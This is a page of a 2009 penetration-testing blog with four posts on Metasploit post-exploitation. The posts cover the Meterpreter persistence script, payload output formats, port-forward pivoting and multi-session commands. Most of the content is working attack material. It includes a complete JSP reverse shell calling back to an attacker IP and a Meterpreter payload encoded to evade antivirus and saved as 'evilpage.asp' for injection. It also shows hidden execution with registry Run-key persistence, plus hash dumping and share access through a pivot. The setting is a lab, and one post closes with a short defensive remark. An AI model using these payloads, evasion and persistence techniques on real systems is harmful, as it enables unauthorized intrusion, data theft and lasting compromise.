Navigation

Entries from December 1, 2009 - December 31, 2009

Thursday
Dec312009

Meterpreter Persistance

One of the tasks once a pentester gains access to a system in retaining such access, for this HD Moore wrote a great Meterpreter script called persistence, this script is truly unique since it generates it own payload, uploads the payload and configures it in such a manner to provide the attacker with a way back in to the system.

To see the options available with this script just run the script with the –h option:

   1: meterpreter > run persistence -h
   2:  
   3: OPTIONS:
   4:  
   5:     -A        Automatically start a matching multi/handler to connect to the agent
   6:     -X        Automatically start the agent when the system boots
   7:     -h        This help menu
   8:     -i <opt>  The interval in seconds between each connection attempt
   9:     -p <opt>  The port on the remote host where Metasploit is listening
  10:     -r <opt>  The IP of the system running Metasploit listening for the connect back

I will discuss the options as they are executed in the code.

The first thing the code will do is generate the payload that will be used on the target machine, the code is as follows:

  1: #
  2: # Create the persistent VBS
  3: #
  4: 
  5: print_status("Creating a persistent agent: LHOST=#{rhost} LPORT=#{rport} (interval=#{delay} onboot=#{install})")
  6: pay = client.framework.payloads.create("windows/meterpreter/reverse_tcp")
  7: pay.datastore['LHOST'] = rhost
  8: pay.datastore['LPORT'] = rport
  9: raw  = pay.generate
 10: 
 11: vbs = ::Msf::Util::EXE.to_win32pe_vbs(client.framework, raw, {:persist => true, :delay => 5})
 12: print_status("Persistent agent script is #{vbs.length} bytes long")

The options used are:

  • -i for the interval in which the payload should be executed, it has a default value of 5 seconds.
  • -p for the port where the host is listening for the connection. This port is important since it has to be a port that must be open between the target and the attackers system. The default value is 4444.
  • -r is the host IP address for where the connection should connect back to, this is very useful if we want the connection to go to another system like a server on a hosted infrastructure, that already has a multi handler listening for the connection to come. The default is the IP of the host from where it is being ran from.

Line 5 you see a message printed where we see the values of the variables that will be used . In line 6 we set an object that is our payload called pay and the payload specified is a reverse TCP Meterpreter payload, from lines 7 and 8 we set the variables for this specific payload and we generate a Raw payload. On line 11 we use the same calls used by msfencode to encode a vbs_loop payload and the delay is set. The generated vbscript is saved in the variable. Then on line 12 we print out the size of our payload. This code can be used to generate other payloads, to get a list in msfconsole run the irb command and in it you can execute the API call for framework.payloads to get the list or just run msfpayload –h. For the encodings I do suggest that you take a look at the code in msfencode to get other possible encodes and ideas for your own scripts

The next action taken is uploading the payload to the target system the code bellow shows how this script does it:

  1: #
  2: # Upload to the filesystem
  3: #
  4: 
  5: tempdir = client.fs.file.expand_path("%TEMP%")
  6: tempvbs = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs"
  7: fd = client.fs.file.new(tempvbs, "wb")
  8: fd.write(vbs)
  9: fd.close
 10: 
 11: print_status("Uploaded the persistent agent to #{tempvbs}")

In line 5 we can see that the temp directory for the account under the Meterpreter is running under by expanding the Windows %TEMP% variable. In line 6 we append the temp directory to a randome generated file name and append the extension .vbs, the appending of the extension is very importantant since wscript and cscript in Windows depend on the extension so as to know how to parse the script and execute it. From line 7 to 9 we create the file directly on the target system and we write the content of the variable holding the vbs code in to the file and we close it, thus creating the script on the target.

The next step is to execute the vbs script. The code us shown bellow:

  1: #
  2: # Execute the agent
  3: #
  4: proc = session.sys.process.execute("wscript \"#{tempvbs}\"", nil, {'Hidden' => true})
  5: print_status("Agent executed with PID #{proc.pid}")

In line 4 we execute the script using wscript and we execute the process as hidden from the user on the box, in line 5 we print the PID (Process ID) for the process.

Lets take a look at the first option of –A this option will start a multi handler to receive the connection back from the payload this useful when the connection is back to the attacker machine one would set the connection on a different port and migrate such connection to a different process so in the case of process failure the connection to the target machine is not lost. The code to build this multi handler follows:

  1: #
  2: # Setup the multi/handler if requested
  3: #
  4: if(autoconn)
  5: 	mul = client.framework.exploits.create("multi/handler")
  6: 	mul.datastore['PAYLOAD']   = "windows/meterpreter/reverse_tcp"
  7: 	mul.datastore['LHOST']     = rhost
  8: 	mul.datastore['LPORT']     = rport
  9: 	mul.datastore['EXITFUNC']  = 'process'
 10: 	mul.datastore['ExitOnSession'] = false
 11: 
 12: 	mul.exploit_simple(
 13: 		'Payload'        => mul.datastore['PAYLOAD'],
 14: 		'RunAsJob'       => true
 15: 	)
 16: end

As it can be seen the code is extremely simple to read thus making it very re-usable for other scripts one might have, if you have used msfconsole before to build a multi handler this code merits little explanation. One could easily add a AutoRunScript after line 10 if one so wishes to have a custom one or set is as an option for the script it self.

If we selected the –X option to have the payload run when the computer start, then the code below is executed:

  1: #
  2: # Make the agent restart on boot
  3: #
  4: if(install)
  5: 	nam = Rex::Text.rand_text_alpha(rand(8)+8)
  6: 	print_status("Installing into autorun as HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}")
  7: 	key = client.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'Software\Microsoft\Windows\CurrentVersion\Run', KEY_WRITE)
  8: 	if(key)
  9: 		key.set_value(nam, session.sys.registry.type2str("REG_SZ"), tempvbs)
 10: 		print_status("Installed into autorun as HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}")
 11: 	else
 12: 		print_status("Error: failed to open the registry key for writing")
 13: 	end
 14: end

In line 5 we create a random number that will be used for the registry key that in line 7 will created in HKLM\Software\Microsoft\Windows\CurrentVersion\Run. In line 8 a REG_SZ value is created with the path to our script, if it fails we will be informed.

I tested this script in a series of system and I do have to say that what surprised me is that the first part ran with out a single problem in the following system and privileges:

OS

System

Administrator

Network Service

Regular User

Windows XP

Ran

Ran

Ran

Ran

Windows 2003

Ran

Ran

Ran

Ran

Windows Vista

Ran

Ran

Ran

Ran

Windows 2008

Ran

Ran

Ran

Ran

Windows 2008 R2

Ran

Ran

Ran

Ran

Windows 7

Ran

Ran

Ran

Ran

 

This where default systems and those that have UAC it was enabled.  Now on those systems where we set up the payload to run at start up only failed on those with UAC and running and not running as System, also failed on those running as Network Service and as a regular user in the Users group. I would also recommend that you take a look at the scheduleme script for others ideas for persistence and for privilege escalation in certain systems, it will also let you schedule it with more options, but it is also only present win Windows 2003 and present Windows versions and not in the Home Editions of Windows XP, it also suffers from the same limitation when UAC is enabled.

Wednesday
Dec302009

Metasploit Payload Format Galore

There are several flavors you can now export your payloads in Metasploit, making the insertion of them more and more flexible.  If we use the msfpayload command alone we can generate the following output of buffers for the Payloads:

  • Perl
  • Ruby -
  • JavaScript
  • Executable
  • VBA Raw

The output for the programming languages can be used in exploit code being developed or inserted into programs, Raw can be passed to msfencode for further processing and the executable can be used to generate a single file executable that depending on the payload it will be the executable type created and Architecture.  Currently executables can be created for the following OS:

  • Windows (x86 and x64)
  • AIX (PPC)
  • Solaris (Sparc and x86)
  • Linux (Mips, PPC and x86)
  • OSX (ARM, PPC and Intel)
  • BSD (Sparc and x86)

To get a list of all payloads and their description just run the program msfpayload wit the –h flag:

  1: ./msfpayload -h
  2: 
  3:     Usage: ./msfpayload <payload> [var=val] <[S]ummary|C|[P]erl|Rub[y]|[R]aw|[J]avascript|e[X]ecutable|[V]BA>
  4: 
  5: Framework Payloads (198 total)
  6: ==============================
  7: 
  8:     Name                                             Description
  9:     ----                                             -----------
 10: ................
 11:     java/jsp_shell_bind_tcp                          Listen for a connection and spawn a command shell
 12:     java/jsp_shell_reverse_tcp                       Connect back to attacker and spawn a command shell
 13: 
 14: ................
 15:     php/bind_perl                                    Listen for a connection and spawn a command shell via perl (persistent)
 16:     php/bind_php                                     Listen for a connection and spawn a command shell via php
 17:     php/download_exec                                Download an EXE from a HTTP URL and execute it
 18:     php/exec                                         Execute a single system command
 19:     php/reverse_perl                                 Creates an interactive shell via perl
 20:     php/reverse_php                                  Reverse PHP connect back shell with checks for disabled functions
 21:     php/shell_findsock                               
 22: 				Spawn a shell on the established connection to
 23: 				the webserver.  Unfortunately, this payload
 24: 				leaves conspicuous evil-looking entries in the
 25: 				apache error logs, so it is probably a good idea
 26: 				to use a bind or reverse shell unless firewalls
 27: 				prevent them from working.  The issue this
 28: 				payload takes advantage of (CLOEXEC flag not set
 29: 				on sockets) appears to have been patched on the
 30: 				Ubuntu version of Apache and may not work on
 31: 				other Debian-based distributions.  Only tested on
 32: 				Apache but it might work on other web servers
 33: 				that leak file descriptors to child processes.

If we take a look at the snipped of output shown bellow you can see that several payloads are actually code that we can turn to code that can be placed in a web server for execution, the 2 types of payloads that allow us to do this are Java jsp and PHP code, just set the output to Raw and save the output to a file.

To get the list of options you just use the Summarize option.

  1: ./msfpayload java/jsp_shell_reverse_tcp S
  2: 
  3:        Name: Java JSP Command Shell, Reverse TCP Inline
  4:     Version: 7550
  5:    Platform: Windows, OSX, Linux, Unix, Solaris
  6:        Arch: java
  7: Needs Admin: No
  8:  Total size: 0
  9:        Rank: Normal
 10: 
 11: Provided by:
 12:   sf <stephen_fewer@harmonysecurity.com>
 13: 
 14: Basic options:
 15: Name   Current Setting  Required  Description
 16: ----   ---------------  --------  -----------
 17: LHOST                   yes       The local address
 18: LPORT  4444             yes       The local port
 19: SHELL  cmd.exe          yes       The system shell to use.
 20: 
 21: Description:
 22:   Connect back to attacker and spawn a command shell
 23: 

Lets generate a JSP file with some options so as to run it on a Windows server supporting JSP like an Oracle Application server

  1: ./msfpayload java/jsp_shell_reverse_tcp LHOST=192.168.1.224,LPORT=8080 R > /tmp/reversejsp.jsp

if we now take a look at the code generated it will look like this:

  1: 
  2: 			<%@page import="java.lang.*"%>
  3: 			<%@page import="java.util.*"%>
  4: 			<%@page import="java.io.*"%>
  5: 			<%@page import="java.net.*"%>
  6: 
  7: 			<%
  8: 				class StreamConnector extends Thread
  9: 				{
 10: 					InputStream is;
 11: 					OutputStream os;
 12: 					  
 13: 					StreamConnector( InputStream is, OutputStream os )
 14: 					{
 15: 						this.is = is;
 16: 						this.os = os;
 17: 					}
 18: 							  
 19: 					public void run()
 20: 					{
 21: 						BufferedReader in  = null;
 22: 						BufferedWriter out = null;
 23: 						try
 24: 						{
 25: 							in  = new BufferedReader( new InputStreamReader( this.is ) );
 26: 							out = new BufferedWriter( new OutputStreamWriter( this.os ) );
 27: 							char buffer[] = new char[8192];
 28: 							int length;
 29: 							while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
 30: 							{
 31: 								out.write( buffer, 0, length );
 32: 								out.flush();
 33: 							}
 34: 						} catch( Exception e ){}
 35: 						try
 36: 						{
 37: 							if( in != null )
 38: 								in.close();
 39: 							if( out != null )
 40: 								out.close();
 41: 						} catch( Exception e ){}
 42: 					}
 43: 				}
 44: 
 45: 				try
 46: 				{
 47: 					Socket socket = new Socket( "192.168.1.224", 8080 );
 48: 					Process process = Runtime.getRuntime().exec( "cmd.exe" );
 49: 					( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
 50: 					( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
 51: 				} catch( Exception e ) {}
 52: 			%>
 53: 		

As it can be seen this is code where the code in lines 47 thru 50 is executing the cmd.exe command and piping the output thru a socket back to the attacker, the shell is also an option that can be changed to be /bin/bash if setting on a Linux host.

Now if we want other formats not included in msfpayload and we want to also obfuscate by encoding our payload so as to make it more difficult to detect by AV (Anti Virus) and HIPS (Host Intrusion Prevention System) we use the msfencode command:

  1: ./msfencode -h
  2: 
  3:     Usage: ./msfencode <options>
  4: 
  6: 
  7:     -a <opt>  The architecture to encode as
  8:     -b <opt>  The list of characters to avoid: '\x00\xff'
  9:     -c <opt>  The number of times to encode the data
 10:     -e <opt>  The encoder to use
 11:     -h        Help banner
 12:     -i <opt>  Encode the contents of the supplied file path
 13:     -l        List available encoders
 14:     -m <opt>  Specifies an additional module search path
 15:     -n        Dump encoder information
 16:     -o <opt>  The output file
 17:     -p <opt>  The platform to encode for
 18:     -s <opt>  The maximum size of the encoded data
 19:     -t <opt>  The format to display the encoded buffer with (c, elf, exe, java, perl, raw, ruby, vba, vbs, loop-vbs, asp)
 20:     -x <opt>  Specify an alternate win32 executable template
 21: 

 

By piping the Raw output to msfencode we can manipulate even more the payload, some of the most used options are the following:

  • -a for specifying the architecture(x86, x64).
  • -c to specify the number of encoded to do.
  • -i for the encode type.
  • -t for the format of the buffer.

There are different encoding types and they are rated on their effectiveness, to get a list we use the –l option:

  1: ./msfencode -l
  2: 
  3: Framework Encoders
  4: ==================
  5: 
  6:     Name                    Rank       Description
  7:     ----                    ----       -----------
  8:     cmd/generic_sh          good       Generic Shell Variable Substitution Command Encoder
  9:     cmd/ifs                 low        Generic ${IFS} Substitution Command Encoder
 10:     generic/none            normal     The "none" Encoder
 11:     mipsbe/longxor          normal     XOR Encoder
 12:     mipsle/longxor          normal     XOR Encoder
 13:     php/base64              normal     PHP Base64 encoder
 14:     ppc/longxor             normal     PPC LongXOR Encoder
 15:     ppc/longxor_tag         normal     PPC LongXOR Encoder
 16:     sparc/longxor_tag       normal     SPARC DWORD XOR Encoder
 17:     x64/xor                 normal     XOR Encoder
 18:     x86/alpha_mixed         low        Alpha2 Alphanumeric Mixedcase Encoder
 19:     x86/alpha_upper         low        Alpha2 Alphanumeric Uppercase Encoder
 20:     x86/avoid_utf8_tolower  manual     Avoid UTF8/tolower
 21:     x86/call4_dword_xor     normal     Call+4 Dword XOR Encoder
 22:     x86/countdown           normal     Single-byte XOR Countdown Encoder
 23:     x86/fnstenv_mov         normal     Variable-length Fnstenv/mov Dword XOR Encoder
 24:     x86/jmp_call_additive   normal     Jump/Call XOR Additive Feedback Encoder
 25:     x86/nonalpha            low        Non-Alpha Encoder
 26:     x86/nonupper            low        Non-Upper Encoder
 27:     x86/shikata_ga_nai      excellent  Polymorphic XOR Additive Feedback Encoder
 28:     x86/unicode_mixed       manual     Alpha2 Alphanumeric Unicode Mixedcase Encoder
 29:     x86/unicode_upper       manual     Alpha2 Alphanumeric Unicode Uppercase Encoder

The highest one rank is x86/shikata_ga_nai for X86 code, do notice that depending on the payload you must be careful that the encoding and the architecture for which you are generating the payload match.

In the format buffers we get the same as with msfpayload but we also get some very interesting ones like:

  • elf – ELF (Executable and Linking Format) Binary executable for Linux system
  • vbs – Visual Basic Scripting
  • loop-vbs-  Visual Basic Script that will loop and re-execute every x number of seconds specified in the options
  • ASP – Active Server Pages from Microsoft's .Net Framework.

As it can be seen we have some very interesting options for outputting our code and delivering it to our targets.

Lets generate a Meterpreter payload, encoded several times and convert it to an ASP page:

  1: ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.224,LPORT=993 R | ./msfencode -c 5 -e x86/shikata_ga_nai -a X86 -t asp > evilpage.asp
  2: [*] x86/shikata_ga_nai succeeded with size 318 (iteration=1)
  3: 
  4: [*] x86/shikata_ga_nai succeeded with size 345 (iteration=2)
  5: 
  6: [*] x86/shikata_ga_nai succeeded with size 372 (iteration=3)
  7: 
  8: [*] x86/shikata_ga_nai succeeded with size 399 (iteration=4)
  9: 
 10: [*] x86/shikata_ga_nai succeeded with size 426 (iteration=5

Now this ASP page can be uploaded to a web server or place inside the code of a valid ASP page thru injection.

One important note is the more you encode the bigger the file so keep that in mind if your delivery mechanism is affected by the size.

As it can be seen Metasploit gives a large set of formats to export our payloads thus giving greater flexibility on avenues of attack.

Tuesday
Dec292009

Meterpreter Pivoting Improved

Metasploit is getting better every time I see the activity log. Meterpreter has been improving a lot lately, it is now encrypted, multithreaded, many obfuscation techniques against detection even from memory dumping and 64bit Windows support, one of the old feature that I was really looking forward to is a revamp of the Port Forward feature. To show off the improvements I will be running everything thru the setup as shown bellow. I will have a Meterpreter Reverse TCP connection from the Windows XP machine to my attackers box in my home network thru the 2 NAT firewalls in between.

pivotteam

So from the meterpreter session we first take a look at the options we have by running the command with the –h option.

   1: meterpreter > portfwd -h
   2: Usage: portfwd [-h] [add / delete / list] [args]
   3:  
   4:  
   5: OPTIONS:
   6:  
   7:     -L <opt>  The local host to listen on (optional).
   8:     -h        Help banner.
   9:     -l <opt>  The local port to listen on.
  10:     -p <opt>  The remote port to connect to.
  11:     -r <opt>  The remote host to connect to.
  12:  
  13: meterpreter > 

We can Add, Delete and List the relays we can build with the tool. Lets check on the machine we are connected to if Remote Desktop is enabled:

   1: meterpreter > execute -H -c -i -f cmd.exe
   2: Process 1436 created.
   3: Channel 4 created.
   4: Microsoft Windows XP [Version 5.1.2600]
   5: (C) Copyright 1985-2001 Microsoft Corp.
   6:  
   7: C:\Documents and Settings\labuser\Desktop>netstat -na | find "3389"
   8: netstat -na | find "3389"
   9:   TCP    0.0.0.0:3389           0.0.0.0:0              LISTENING
  10:  
  11: C:\Documents and Settings\labuser\Desktop>

As we can see the port 3389 is open, if not we can use the getgui script, which can also create the port forward for us but for this example we will build it by hand, we issue the command as shown below:

   1: meterpreter > portfwd add -l 3389 -p 3389 -r 127.0.0.1
   2: [*] Local TCP relay created: 0.0.0.0:3389 <-> 127.0.0.1:3389
   3: meterpreter > portfwd list
   4: 0: 0.0.0.0:3389 -> 127.0.0.1:3389
   5:  
   6: 1 total local port forwards.
   7: meterpreter > 

We set the local port to which we will connect to with the –l option, we set the remote port to which we will relay the connection to with the –p option and with the –r option we tell the Meterpreter process on the target host where to what address to relay the connection to, so we tell it to relay to it’s local address. We issue a list command to make sure the connection is present and we proceed to connect locally using the Terminal Server Client that comes with Ubuntu.

image

As you can see we have an RDP connection to the target machine. One important note on Windows 7, Windows Vista and Windows 2008 you can configure your RDP protocol to encrypt using TLS and only accept validated Certificates(kb895433 MSDN Blog), if this is part of a Group Policy it will have to be disabled or use the VNC payload.

image

If we take a look at the network that is behind the firewalls by doing a ping sweep using the netenum Meterpreter script we can see another host responding to ICMP packets, this host is the Windows 2003 server I have in my VMware Team. I would like to map the drive of that server and extract data from it.

   1: meterpreter > run netenum -ps -r 10.10.10.1/24
   2: [*] Network Enumerator Meterpreter Script 
   3: [*] Log file being saved in /root/.msf3/logs/netenum/192.168.1.138
   4: [*] Performing ping sweep for IP range 10.10.10.1/24
   5: [*]     10.10.10.1 host found
   6: [*]     10.10.10.242 host found
   7: [*]     10.10.10.248 host found
   8: meterpreter > 

We will do as if we cracked the password either thru a hashdump or we used incognito to impersonate a token and creat a domain account. We now set our relay for port 445 the Netbios over TCP and we make sure that for the –r option we specify the remote IP of the target that we want to connect to.

   1: meterpreter > portfwd add -l 445 -p 445 -r 10.10.10.248
   2: [*] Local TCP relay created: 0.0.0.0:445 <-> 10.10.10.248:445
   3: meterpreter > portfwd list
   4: 0: 0.0.0.0:3389 -> 127.0.0.1:3389
   5: 1: 0.0.0.0:445 -> 10.10.10.248:445
   6:  
   7: 2 total local port forwards.
   8: meterpreter > 

Once we make a connection remember to do a list of connections to make sure the connection was made. Now from Nautilus in Gnome on my Ubuntu box a do a Connection to a Server and specify my localhost address, that it is a Windows Share, the Share, Usename and click Connect, I will we asked for the password and click ok. 

 

image

When the connection is successfully made we will see that we have access to the C$ of the remote server thru the pivot on the Windowx XP host. In this same manner we can use other tools thru the pivot to connect, enumerate and exploit remote hosts.

image

Once we are done we must kill each pivot using the delete command an the local port.

   1: meterpreter > portfwd delete -l 445
   2: [*] Successfully stopped TCP relay on 0.0.0.0:445
   3: meterpreter > portfwd delete -l 3389
   4: [*] Successfully stopped TCP relay on 0.0.0.0:3389
   5: meterpreter > portfwd list
   6:  
   7: 0 total local port forwards.
   8: meterpreter > 

The Port forward command is working very reliably and brings a new level of flexibility to post exploitation using the Meterpreter.

If an attacker gains accesses to any asset in a network that asset becomes a lauchpad of attacks against the internal assets of the network, attacking printers, client systems and network infrastructure, here is where having a multi layer approach at defends with segmentation, proper policy, procedures and baselining of activities of all systems comes in to play so as to stop and/or detect this type of attacks. Almost all modern RAT (Remote Administration Tools) and Exploitation Payloads either being from Metasploit, Core, Canvas, Poison Ivy or others support this type of functionality so proper defends is key.

Monday
Dec282009

New Options in Msfconsole Sessions Command

Metasploit recently added 2 new options to the sessions command in msfconsole. This 2 options are the ability to run commands on all open sessions and to run a Meterpreter script on all sessions that are of Meterpreter type. I consider this 2 options game changers when it comes to post exploitation since now one can run a command thru out a series of shells and be able to automate all sessions with Meterpreter at the same time.

Here is the output of the sessions command showing all options, the –c for the command execution and the –s for script execution.

msf exploit(handler) > sessions -h
Usage: sessions [options]

Active session manipulation and interaction.

OPTIONS:

-K Terminate all sessions.
-c <opt> Run a command on all live sessions
-d <opt> Detach an interactive session
-h Help banner.
-i <opt> Interact with the supplied session identifier.
-k <opt> Terminate session.
-l List all active sessions.
-q Quiet mode.
-s <opt> Run a script on all live meterpreter sessions
-v List verbose fields.

msf exploit(handler) >

Currently I have 5 session open to different systems all behind a series of firewalls that is why all sessions appear to come from a single IP.

msf exploit(handler) > sessions -l 

Active sessions
===============

Id Description Tunnel
-- ----------- ------
1 Meterpreter 192.168.1.235:4444 -> 192.168.1.138:50441
2 Meterpreter 192.168.1.235:4444 -> 192.168.1.138:54920
3 Meterpreter 192.168.1.235:4444 -> 192.168.1.138:1396
4 Meterpreter 192.168.1.235:4444 -> 192.168.1.138:61686
5 Meterpreter 192.168.1.235:4444 -> 192.168.1.138:57197

msf exploit(handler) >

Another very useful option that was added is the –v for verbose, this lets us know if the session was the result of an exploit, what exploit or received by Multi Handler.

msf exploit(handler) > sessions -v

Active sessions
===============

Id Description Tunnel Via
-- ----------- ------ ---
1 Meterpreter 192.168.1.235:4444 -> 192.168.1.138:50441 multi/handler
2 Meterpreter 192.168.1.235:4444 -> 192.168.1.138:54920 multi/handler
3 Meterpreter 192.168.1.235:4444 -> 192.168.1.138:1396 multi/handler
4 Meterpreter 192.168.1.235:4444 -> 192.168.1.138:61686 multi/handler
5 Meterpreter 192.168.1.235:4444 -> 192.168.1.138:57197 multi/handler

msf exploit(handler) >

 

Here is the code that is executed when the –c option is ran:

  1: cmds.each do |cmd|
  2: 	framework.sessions.each_sorted do |s|
  3: 		session = framework.sessions.get(s)
  4: 		print_status("Running '#{cmd}' on session #{s} (#{session.tunnel_peer})")
  5: 		if (session.type == "meterpreter")
  6: 			c,args = cmd.split(' ', 2)
  7: 			begin
  8: 				process = session.sys.process.execute(c, args, {
  9: 						'Channelized' => true,
 10: 						'Hidden'      => true
 11: 					})
 12: 			rescue ::Rex::Post::Meterpreter::RequestError
 13: 				print_error("Failed: #{$!.class} #{$!}")
 14: 
 15: 			end
 16: 			print_line(process.channel.read) if process and process.channel
 17: 		elsif session.type == "shell"
 18: 			# Then it's a regular shell, just send the command
 19: 			# to the session's stdin.
 20: 			session.write_shell(cmd + "\n")
 21: 			# read_shell blocks with no timeout, so we wrap
 22: 			# it in a select in case there is no output
 23: 			# from the command
 24: 			if select([session.rstream],nil,nil,3)
 25: 				output = session.read_shell
 26: 				print_line(output)
 27: 			end
 28: 		end
 29: 		# If the session isn't a meterpreter or shell type, it
 30: 		# could be a VNC session (which can't run commands) or
 31: 		# something custom (which we don't know how to run
 32: 		# commands on), so don't bother.
 33: 	end
 34: end

As it can be seen in the line 1 and 2 all commands are iterated one by one against each available session, the in likes 5 and 17 the sessions are checked to see if each one either a Meterpreter shell or a simple command Shell, this means we can write plug-ins that can automate against both types of shell using this code as example. As it can be seen in line 8 the type of command that we can run is a system command so none of the other Meterpreter commands can be used. Also on important thing to notice is that the rules for operating in a shell apply so one must be careful not to run commands that can break a shell like WMIC or certain types of SC. Lets run the hostname command on all shells:

msf exploit(handler) > sessions -c hostname
[*] Running 'hostname' on session 1 (192.168.1.138:50441)
winxplab01

[*] Running 'hostname' on session 2 (192.168.1.138:54920)
win2k3lab01

[*] Running 'hostname' on session 3 (192.168.1.138:1396)
win701

[*] Running 'hostname' on session 4 (192.168.1.138:61686)
winvis01

[*] Running 'hostname' on session 5 (192.168.1.138:57197)
WIN-YR4V852V71Y

msf exploit(handler) >

Now if we want to run commands with arguments we have to enclosed the command and the arguments in quotes, also remember that since this is ruby special characters must be escaped where it applies.  For example:

msf exploit(handler) > sessions -c 'reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ProductName'
[*] Running 'reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ProductName' on session 1 (192.168.1.138:50441)

! REG.EXE VERSION 3.0

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion
ProductName REG_SZ Microsoft Windows XP


[*] Running 'reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ProductName' on session 2 (192.168.1.138:54920)

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion
ProductName REG_SZ Microsoft Windows Server 2003


[*] Running 'reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ProductName' on session 3 (192.168.1.138:1396)

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion
ProductName REG_SZ Windows 7 Enterprise


[*] Running 'reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ProductName' on session 4 (192.168.1.138:61686)

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion
ProductName REG_SZ Windows Vista (TM) Enterprise


[*] Running 'reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ProductName' on session 5 (192.168.1.138:57197)

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion
ProductName REG_SZ Windows Server (R) 2008 Enterprise


msf exploit(handler) >

The –s option for running script is also an important one that will allow an attacker to automate several actions against a large number of sessions. Here is where I see that several steps will have to be taken when writing scripts to be used with this option, this are:

  • Proper logging of data will become very important do to the possibility that a large number of shells are processed.
  • Logs should reference the host name or host local IP of a target since many systems are now behind NAT firewalls.
  • Multi Threading will be of great importance since each session is handle sequentially so having Multi Threaded scripts will be a great time saver.
  • Scripts should at least output the hostname so the attacker can now what host he is currently running the script against.
  • At the moment the script must run without options.

Here is the code executed when executing this option:

  1: if (not script.nil?)
  2: 	print_status("Running script #{script} on all meterpreter sessions ...")
  3: 	framework.sessions.each_sorted do |s|
  4: 		if ((session = framework.sessions.get(s)))
  5: 			if (session.type == "meterpreter")
  6: 				print_status("Session #{s} (#{session.tunnel_peer}):")
  7: 				begin
  8: 					client = session
  9: 					client.execute_script(script, binding)
 10: 				rescue ::Exception => e
 11: 					log_error("Error executing script: #{e.class} #{e}")
 12: 				end
 13: 			end
 14: 		end
 15: 	end
 16: else
 17: 	print_error("No script specified!")
 18: end

As it can be seen in line 5 only the sessions that are of Meterpreter type are the ones that will be interacted with.

Here is a summarized version of running winenum:

   1: msf exploit(handler) > sessions -s winenum
   2: [*] Running script winenum on all meterpreter sessions ...
   3: [*] Session 1 (192.168.1.138:50441):
   4: [*] Running Windows Local Enumerion Meterpreter Script
   5: [*] New session on 192.168.1.138:50441...
   6: [*] Saving report to /home/carlos/.msf3/logs/winenum/WINXPLAB01_20091225.4410-04411/WINXPLAB01_20091225.4410-04411.txt
   7: [*] Checking if WINXPLAB01 is a Virtual Machine ........
   8: [*] BIOS Check Failed
   9: [*]     This is a VMWare virtual Machine
  10: [*] Running Command List ...
  11: [*]     running command cmd.exe /c set
  12: [*]     running command ipconfig /all
  13: ..........
  14: [*] Running WMIC Commands ....
  15: [*]     running command wmic computersystem list brief
  16: ..........
  17: [*] Extracting software list from registry
  18: [*] Dumping and Downloading the Registry entries for Configured Wireless Networks
  19: [*]     Exporting HKLM\Software\Microsoft\WZCSVC\Parameters\Interfaces
  20: [*]     Compressing key into cab file for faster download
  21: [*]     Downloading wlan_20091225.4410-04411.cab to -> /home/carlos/.msf3/logs/winenum/WINXPLAB01_20091225.4410-04411/wlan_20091225.4410-04411.cab
  22: [*]     Deleting left over files
  23: [*] Dumping password hashes...
  24: [*] Hashes Dumped
  25: [*] Getting Tokens...
  26: [*] All tokens have been processed
  27: [*] Done!
  28: [*] Session 2 (192.168.1.138:54920):
  29: [*] Running Windows Local Enumerion Meterpreter Script
  30: [*] New session on 192.168.1.138:54920...
  31: [*] Saving report to /home/carlos/.msf3/logs/winenum/WIN2K3LAB01_20091225.4538-95293/WIN2K3LAB01_20091225.4538-95293.txt
  32: [*] Checking if WIN2K3LAB01 is a Virtual Machine ........
  33: [*]     This is a VMware Workstation/Fusion Virtual Machine
  34: [*] Running Command List ...
  35: [*]     running command cmd.exe /c set
  36: ..........
  37: [*] Running WMIC Commands ....
  38: [*]     running command wmic computersystem list brief
  39: ..........
  40: [*] Extracting software list from registry
  41: [*] Dumping password hashes...
  42: [*] Hashes Dumped
  43: [*] Getting Tokens...
  44: [*] All tokens have been processed
  45: [*] Done!
  46: [*] Session 3 (192.168.1.138:1396):
  47: [*] Running Windows Local Enumerion Meterpreter Script
  48: [*] New session on 192.168.1.138:1396...
  49: [*] Saving report to /home/carlos/.msf3/logs/winenum/WIN701_20091225.4637-88208/WIN701_20091225.4637-88208.txt
  50: [*] Checking if WIN701 is a Virtual Machine ........
  51: [*]     This is a VMware Workstation/Fusion Virtual Machine
  52: [*] Checking if UAC is enabled ...
  53: [*]     UAC is Enabled
  54: [*] Running Command List ...
  55: [*]     running command cmd.exe /c set
  56: ..........
  57: [*] Running WMIC Commands ....
  58: [*]     running command wmic computersystem list brief
  59: ..........
  60: [*] Extracting software list from registry
  61: [*] UAC is enabled, Wireless key Registry could not be dumped under current privileges
  62: [-] Not currently running as SYSTEM, not able to dump hashes in Windows Vista or Windows 7 if not System.
  63: [*] Getting Tokens...
  64: [*] Error Getting Tokens: Rex::TimeoutError Operation timed out.
  65: [*] Done!
  66: [*] Session 4 (192.168.1.138:61686):
  67: [*] Running Windows Local Enumerion Meterpreter Script
  68: [*] New session on 192.168.1.138:61686...
  69: [*] Saving report to /home/carlos/.msf3/logs/winenum/WINVIS01_20091225.4927-83932/WINVIS01_20091225.4927-83932.txt
  70: [*] Checking if WINVIS01 is a Virtual Machine ........
  71: [*]     This is a VMware Workstation/Fusion Virtual Machine
  72: [*] Checking if UAC is enabled ...
  73: [*]     UAC is Enabled
  74: [*] Running Command List ...
